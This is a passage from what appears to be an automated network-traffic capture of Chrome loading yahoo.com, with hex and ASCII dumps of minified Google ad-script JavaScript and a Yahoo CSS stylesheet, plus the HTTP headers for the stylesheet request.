2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 4c 65 2c 4d 65 2c 49 65 2c 53 65 2c 4a 65 2c 54 65 2c 59 65 2c 24 65 2c 62 66 2c 68 66 2c 6a 66 2c 6b 66 2c 6f 66 2c 70 66 2c 71 66 2c 77 66 2c 78 66 2c 7a 66 2c 41 66 2c 42 66 2c 43 66 2c 44 66 2c 45 66 2c 47 66 2c 49 66 2c 4a 66 2c 4d 66 2c 4e 66 2c 4f 66 2c 52 66 2c 54 66 2c 56 66 2c 58 66 2c 62 67 2c 63 67 2c 66 67 2c 67 67 2c 68 67 2c 69 67 2c 6b 67 2c 6c 67 2c 6e 67 2c 6f 67 2c 71 67 2c 73 67 2c 74 67 2c 75 67 2c 76 67 2c 79 67 2c 41 67 2c 45 67 2c 43 67 2c 49 67 2c 4a 67 2c 4b 67 2c 47 67 2c 48 67 2c 4c 67 2c 4d 67 2c 4e 67 2c 52 67 2c 56 67 2c 57 67 2c 77 68 2c 79 68 2c 7a 68 2c 43 68 2c 47 68 2c 4b 68 2c 4e 68 2c 50 68 2c 52 68 2c 53 68 2c 54 68 2c 55 68 2c 56 68 2c 57 68 2c 59 68 2c 61 69 2c 64 69 2c 66 69 2c 67 69 2c 6a 69 2c 68 69 2c 6e 69 2c Data Ascii: Le,Me,Ie,Se,Je,Te,Ye,$e,bf,hf,jf,kf,of,pf,qf,wf,xf,zf,Af,Bf,Cf,Df,Ef,Gf,If,Jf,Mf,Nf,Of,Rf,Tf,Vf,Xf,bg,cg,fg,gg,hg,ig,kg,lg,ng,og,qg,sg,tg,ug,vg,yg,Ag,Eg,Cg,Ig,Jg,Kg,Gg,Hg,Lg,Mg,Ng,Rg,Vg,Wg,wh,yh,zh,Ch,Gh,Kh,Nh,Ph,Rh,Sh,Th,Uh,Vh,Wh,Yh,ai,di,fi,gi,ji,hi,ni,
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 29 3b 76 61 72 20 63 3b 28 63 3d 30 3c 3d 62 29 26 26 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 70 6c 69 63 65 2e 63 61 6c 6c 28 61 2c 62 2c 31 29 3b 72 65 74 75 72 6e 20 63 7d 3b 5f 2e 6a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 6c 65 6e 67 74 68 3b 69 66 28 30 3c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 41 72 72 61 79 28 62 29 2c 64 3d 30 3b 64 3c 62 3b 64 2b 2b 29 63 5b 64 5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 6b 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 32 3e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 2c 62 29 3a 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 Data Ascii: );var c;(c=0<=b)&&Array.prototype.splice.call(a,b,1);return c};_.ja=function(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};ka=function(a,b,c){return 2>=arguments.length?Array.prototype.slice.call(a,b):Array.prototyp
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 73 68 28 64 29 7d 72 65 74 75 72 6e 20 62 7d 3b 42 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 61 5b 63 5d 2c 63 2c 61 29 7d 3b 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 2c 64 3b 66 6f 72 28 64 20 69 6e 20 61 29 62 5b 63 2b 2b 5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 44 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 61 5b 63 5d 2c 63 2c 61 29 29 72 65 74 75 72 6e 20 63 7d 3b 46 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 2c 64 2c 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 Data Ascii: sh(d)}return b};Ba=function(a,b){for(var c in a)b.call(void 0,a[c],c,a)};Ca=function(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b};Da=function(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return c};Fa=function(a,b){for(var c,d,e=1;e<arguments.lengt
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 70 72 6f 74 6f 63 6f 6c 7d 65 6c 73 65 20 62 3a 7b 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 74 72 79 7b 62 2e 68 72 65 66 3d 61 7d 63 61 74 63 68 28 63 29 7b 62 3d 76 6f 69 64 20 30 3b 62 72 65 61 6b 20 62 7d 62 3d 62 2e 70 72 6f 74 6f 63 6f 6c 3b 62 3d 22 3a 22 3d 3d 3d 62 7c 7c 22 22 3d 3d 3d 62 3f 22 68 74 74 70 73 3a 22 3a 62 7d 69 66 28 22 6a 61 76 61 73 63 72 69 70 74 3a 22 21 3d 3d 62 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 64 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 55 61 3f 5f 2e 63 62 28 61 29 3a 5f 2e 62 62 28 61 29 7d 3b 5f 2e 65 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 5f 2e 64 62 28 62 29 3b 76 6f 69 64 20 30 21 3d Data Ascii: protocol}else b:{b=document.createElement("a");try{b.href=a}catch(c){b=void 0;break b}b=b.protocol;b=":"===b\|\|""===b?"https:":b}if("javascript:"!==b)return a};_.db=function(a){return a instanceof _.Ua?_.cb(a):_.bb(a)};_.eb=function(a,b){b=_.db(b);void 0!=
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 29 2b 61 2e 5a 63 2c 63 3d 76 6f 69 64 20 30 2c 68 2e 6c 3d 32 2c 68 2e 79 69 65 6c 64 28 6f 62 28 62 29 2c 34 29 3b 63 61 73 65 20 34 3a 63 3d 68 2e 6d 3b 68 2e 67 3d 33 3b 68 2e 6c 3d 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 70 62 28 68 29 3b 63 61 73 65 20 33 3a 69 66 28 21 63 29 72 65 74 75 72 6e 20 68 2e 72 65 74 75 72 6e 28 76 6f 69 64 20 30 29 3b 64 3d 61 2e 42 64 7c 7c 63 2e 73 6f 64 61 72 5f 71 75 65 72 79 5f 69 64 3b 65 3d 76 6f 69 64 20 30 21 3d 3d 63 2e 72 63 5f 65 6e 61 62 6c 65 26 26 61 2e 6c 3f 63 2e 72 63 5f 65 6e 61 62 6c 65 3a 22 6e 22 3b 66 3d 76 6f 69 64 20 30 3d 3d 3d 63 2e 62 67 5f 73 6e 61 70 73 68 6f 74 5f 64 65 6c 61 79 5f 6d 73 3f 22 30 22 3a 63 2e 62 67 5f 73 6e 61 70 73 68 6f 74 5f 64 65 6c 61 79 5f 6d 73 3b 67 3d 76 6f 69 Data Ascii: )+a.Zc,c=void 0,h.l=2,h.yield(ob(b),4);case 4:c=h.m;h.g=3;h.l=0;break;case 2:pb(h);case 3:if(!c)return h.return(void 0);d=a.Bd\|\|c.sodar_query_id;e=void 0!==c.rc_enable&&a.l?c.rc_enable:"n";f=void 0===c.bg_snapshot_delay_ms?"0":c.bg_snapshot_delay_ms;g=voi
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 3d 66 3b 65 6c 73 65 7b 69 66 28 32 30 34 38 3e 66 29 64 5b 63 2b 2b 5d 3d 66 3e 3e 36 7c 31 39 32 3b 65 6c 73 65 7b 69 66 28 35 35 32 39 36 3c 3d 66 26 26 35 37 33 34 33 3e 3d 66 29 7b 69 66 28 35 36 33 31 39 3e 3d 66 26 26 65 3c 61 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 67 3d 61 2e 63 68 61 72 43 6f 64 65 41 74 28 2b 2b 65 29 3b 69 66 28 35 36 33 32 30 3c 3d 67 26 26 35 37 33 34 33 3e 3d 67 29 7b 66 3d 31 30 32 34 2a 28 66 2d 35 35 32 39 36 29 2b 67 2d 35 36 33 32 30 2b 36 35 35 33 36 3b 64 5b 63 2b 2b 5d 3d 66 3e 3e 31 38 7c 32 34 30 3b 64 5b 63 2b 2b 5d 3d 66 3e 3e 31 32 26 36 33 7c 31 32 38 3b 64 5b 63 2b 2b 5d 3d 66 3e 3e 36 26 36 33 7c 31 32 38 3b 64 5b 63 2b 2b 5d 3d 66 26 36 33 7c 31 32 38 3b 63 6f 6e 74 69 6e 75 65 7d 65 6c 73 65 20 65 2d 2d 7d Data Ascii: =f;else{if(2048>f)d[c++]=f>>6\|192;else{if(55296<=f&&57343>=f){if(56319>=f&&e<a.length){var g=a.charCodeAt(++e);if(56320<=g&&57343>=g){f=1024*(f-55296)+g-56320+65536;d[c++]=f>>18\|240;d[c++]=f>>12&63\|128;d[c++]=f>>6&63\|128;d[c++]=f&63\|128;continue}else e--}
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 2b 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2f 31 45 37 29 2c 61 25 3d 31 45 37 29 2c 31 45 37 3c 3d 63 26 26 28 62 2b 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 63 2f 31 45 37 29 2c 63 25 3d 31 45 37 29 2c 63 3d 62 2b 56 62 28 63 29 2b 56 62 28 61 29 29 3b 72 65 74 75 72 6e 20 63 7d 3b 56 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 53 74 72 69 6e 67 28 61 29 3b 72 65 74 75 72 6e 22 30 30 30 30 30 30 30 22 2e 73 6c 69 63 65 28 61 2e 6c 65 6e 67 74 68 29 2b 61 7d 3b 5a 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 52 62 2c 62 3d 54 62 3b 62 26 32 31 34 37 34 38 33 36 34 38 3f 50 62 28 29 3f 61 3d 22 22 2b 28 42 69 67 49 6e 74 28 62 7c 30 29 3c 3c 42 69 67 49 6e 74 28 33 32 29 7c 42 69 67 49 6e 74 28 61 3e 3e 3e 30 29 29 3a 28 62 3d 5f 2e 7a 28 51 62 Data Ascii: +=Math.floor(a/1E7),a%=1E7),1E7<=c&&(b+=Math.floor(c/1E7),c%=1E7),c=b+Vb(c)+Vb(a));return c};Vb=function(a){a=String(a);return"0000000".slice(a.length)+a};Zb=function(){var a=Rb,b=Tb;b&2147483648?Pb()?a=""+(BigInt(b\|0)<<BigInt(32)\|BigInt(a>>>0)):(b=_.z(Qb
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 7c 33 34 29 26 2d 31 34 35 35 37 29 7d 3b 71 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 3e 3e 31 34 26 31 30 32 33 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 61 3f 35 33 36 38 37 30 39 31 32 3a 61 7d 3b 72 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 2b 21 21 28 61 26 35 31 32 29 2d 31 7d 3b 74 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 28 21 61 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 61 2e 56 6b 21 3d 3d 73 63 29 7d 3b 75 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 61 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 4f 62 6a 65 Data Ascii: \|34)&-14557)};qc=function(a){a=a>>14&1023;return 0===a?536870912:a};rc=function(a){return+!!(a&512)-1};tc=function(a){return!(!a\|\|"object"!==typeof a\|\|a.Vk!==sc)};uc=function(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Obje
2024-01-10 23:27:13 UTC	1252	IN	Data Raw: 3d 3d 61 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 61 29 7d 3b 4e 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 22 62 6f 6f 6c 65 61 6e 22 21 3d 3d 74 79 70 65 6f 66 20 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 45 78 70 65 63 74 65 64 20 62 6f 6f 6c 65 61 6e 20 62 75 74 20 67 6f 74 20 22 2b 4d 63 28 61 29 2b 22 3a 20 22 2b 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 4f 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6e 75 6c 6c 3d 3d 61 7c 7c 22 62 6f 6f 6c 65 61 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 61 29 72 65 74 75 72 6e 20 61 3b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 61 29 72 65 74 75 72 6e 21 21 61 7d 3b 51 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 72 6e 22 6e 75 Data Ascii: ==a)return Number(a)};Nc=function(a){if("boolean"!==typeof a)throw Error("Expected boolean but got "+Mc(a)+": "+a);return a};Oc=function(a){if(null==a\|\|"boolean"===typeof a)return a;if("number"===typeof a)return!!a};Qc=function(a){var b=typeof a;return"nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49891	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	613	OUT	GET /aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.5c39a9843807c1e9aee5ab138bd0ddd9.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	839	IN	HTTP/1.1 200 OK x-amz-id-2: gm5ORsE7eKFFT4u00FeuxtkUz5xzpZzJ4KddOA0MedpMk56Gbh+aLXc7m0kJCHByxirpTQ9wnLg= x-amz-request-id: BR0J0X7N7687SDG6 Date: Wed, 10 Jan 2024 20:02:39 GMT Last-Modified: Tue, 09 Jan 2024 23:51:29 GMT ETag: "5c39a9843807c1e9aee5ab138bd0ddd9" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: oYUliXYCLAep0.l7GE5_GOXubUkoo12. Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 26420 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 12275 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 41 63 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 41 73 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 63 65 6e 74 65 72 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 41 6e 69 6d 64 75 72 5c 28 35 30 30 30 6d 73 5c 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 35 73 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 41 6e 69 6d 6e 5c 28 5c 24 63 61 72 6f 75 73 65 6c 41 6e 69 6d 61 74 69 6f 6e 4e 61 6d 65 5c 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 73 6c 69 64 65 21 69 6d 70 6f 72 74 61 6e 74 7d Data Ascii: #atomic .Ai$c${align-items:center}#atomic .Ac$c${align-content:center}#atomic .As$c${align-self:center}.active .active_Animdur$5000ms${animation-duration:5s!important}.active .active_Animn$\$carouselAnimationName${animation-name:slide!important}
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6f 6d 69 63 20 2e 42 64 65 6e 64 63 5c 28 2d 2d 77 68 69 74 65 5c 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 73 5c 28 73 5c 29 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 23 61 74 6f 6d 69 63 20 2e 42 64 74 73 5c 28 73 5c 29 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 23 61 74 6f 6d 69 63 20 2e 42 64 65 6e 64 73 5c 28 73 5c 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 23 61 74 6f 6d 69 63 20 2e 42 64 77 5c 28 30 5c 29 7b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 42 64 77 5c 28 31 70 78 Data Ascii: omic .Bdendc$--white${border-right-color:#fff;border-right-color:var(--white)}#atomic .Bds$s${border-style:solid}#atomic .Bdts$s${border-top-style:solid}#atomic .Bdends$s${border-right-style:solid}#atomic .Bdw$0${border-width:0}#atomic .Bdw\(1px
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 6e 64 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 67 5c 28 2d 2d 67 72 65 79 2d 68 61 69 72 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 30 66 33 66 35 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 67 72 65 79 2d 68 61 69 72 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 5c 28 6e 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 42 67 5c 28 74 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 67 5c 28 2d 2d 66 70 2d 61 6c 70 68 61 2d 30 35 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 66 Data Ascii: nd:#fff!important;background:var(--white)!important}#atomic .Bg$--grey-hair${background:#f0f3f5;background:var(--grey-hair)}#atomic .Bg$n${background:none}#atomic .Bg$t${background:transparent}#atomic .Bg$--fp-alpha-05$\:h:hover{background:var(--f
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 68 61 72 6b 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 38 32 38 61 39 33 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 73 68 61 72 6b 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 73 70 69 72 75 6c 69 6e 61 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 39 63 39 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 73 70 69 72 75 6c 69 6e 61 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 77 68 69 74 65 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 79 62 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 Data Ascii: hark\){background-color:#828a93;background-color:var(--shark)}#atomic .Bgc$--spirulina${background-color:#009c94;background-color:var(--spirulina)}#atomic .Bgc$--white${background-color:#fff;background-color:var(--white)}#atomic .Bgc\(--yb-marshmallow
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 63 20 2e 42 78 73 68 5c 28 5c 24 70 61 6e 65 6c 53 68 61 64 6f 77 5c 29 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 36 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 7d 23 61 74 6f 6d 69 63 20 2e 42 78 73 68 5c 28 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 34 5c 29 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 32 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 35 29 2c 30 20 34 70 78 20 31 36 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 76 61 72 28 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 34 29 7d 2e 61 64 2d 63 6f 6e 74 65 6e 74 3a 68 6f 76 65 72 20 2e 61 64 2d 63 6f 6e 74 65 6e 74 5c 3a 68 5f 43 5c 28 5c 24 73 74 72 65 61 6d 42 72 61 6e 64 48 6f 76 65 72 43 6c 61 73 73 5c 29 7b 63 6f 6c 6f 72 3a 23 37 Data Ascii: c .Bxsh$\$panelShadow${box-shadow:0 2px 6px 0 rgba(0,0,0,.2)}#atomic .Bxsh$--elevation-4${box-shadow:0 0 2px rgba(0,0,0,.05),0 4px 16px rgba(0,0,0,.2);box-shadow:var(--elevation-4)}.ad-content:hover .ad-content\:h_C$\$streamBrandHoverClass${color:#7
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 77 68 69 74 65 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 63 63 5c 29 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 77 68 69 74 65 5c 29 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 24 73 74 72 65 61 6d 42 72 61 6e 64 48 6f 76 65 72 43 6c 61 73 73 5c 29 5c 3a 66 76 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 24 73 74 72 65 61 6d 42 72 61 6e 64 48 6f 76 65 72 43 6c 61 73 73 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 37 65 31 66 66 66 3b 63 6f 6c 6f 72 3a 76 61 72 28 Data Ascii: atomic .C$--white$\:h:hover{color:#fff;color:var(--white)}#atomic .C$cc${color:currentColor}#atomic .C$white${color:white}#atomic .C$\$streamBrandHoverClass$\:fv:focus-visible,#atomic .C$\$streamBrandHoverClass$\:h:hover{color:#7e1fff;color:var(
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 74 6f 6d 69 63 20 2e 44 5c 28 74 62 63 5c 29 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 7d 2e 68 69 64 65 2d 61 64 20 2e 68 69 64 65 2d 61 64 5f 44 5c 28 6e 5c 29 2c 2e 73 68 6f 77 2d 74 68 65 6e 2d 68 69 64 65 2d 61 64 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 2e 73 68 6f 77 2d 74 68 65 6e 2d 68 69 64 65 2d 61 64 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 44 5c 28 6e 5c 29 2c 2e 77 61 66 65 72 2d 61 63 74 69 6f 6e 2d 69 73 2d 74 72 75 65 20 2e 77 61 66 65 72 2d 61 63 74 69 6f 6e 2d 69 73 2d 74 72 75 65 5f 44 5c 28 6e 5c 29 2c 2e 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 2d 65 78 70 69 72 65 64 20 2e 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 2d 65 78 70 69 72 65 64 5f 44 5c 28 6e 5c 29 2c 2e 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e Data Ascii: tomic .D$tbc${display:table-cell}.hide-ad .hide-ad_D$n$,.show-then-hide-ad-confirmation .show-then-hide-ad-confirmation_D$n$,.wafer-action-is-true .wafer-action-is-true_D$n$,.wafer-countdown-expired .wafer-countdown-expired_D$n$,.wafer-countdown
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 69 63 20 2e 46 66 5c 28 2d 2d 79 61 68 6f 6f 2d 73 65 72 69 66 5c 29 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 79 61 68 6f 6f 2d 73 65 72 69 66 29 7d 23 61 74 6f 6d 69 63 20 2e 46 66 5c 28 73 73 5c 29 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 34 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 35 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 36 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 37 30 30 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 62 5c 29 7b 66 6f Data Ascii: ic .Ff$--yahoo-serif${font-family:var(--yahoo-serif)}#atomic .Ff$ss${font-family:Helvetica,Arial,sans-serif}#atomic .Fw$400${font-weight:400}#atomic .Fw$500${font-weight:500}#atomic .Fw$600${font-weight:600}#atomic .Fw$700$,#atomic .Fw$b${fo
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 69 63 20 2e 48 5c 28 33 38 70 78 5c 29 7b 68 65 69 67 68 74 3a 33 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 33 70 78 5c 29 7b 68 65 69 67 68 74 3a 33 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 34 70 78 5c 29 7b 68 65 69 67 68 74 3a 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 35 70 78 5c 29 7b 68 65 69 67 68 74 3a 36 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 70 78 5c 29 7b 68 65 69 67 68 74 3a 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4c 74 73 5c 28 5c 2e 30 31 32 35 65 6d 5c 29 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2e 30 31 32 35 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 4c 69 73 74 5c 28 6e 5c 29 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 4c 68 5c 28 31 5c 2e 31 65 6d 5c 29 7b 6c Data 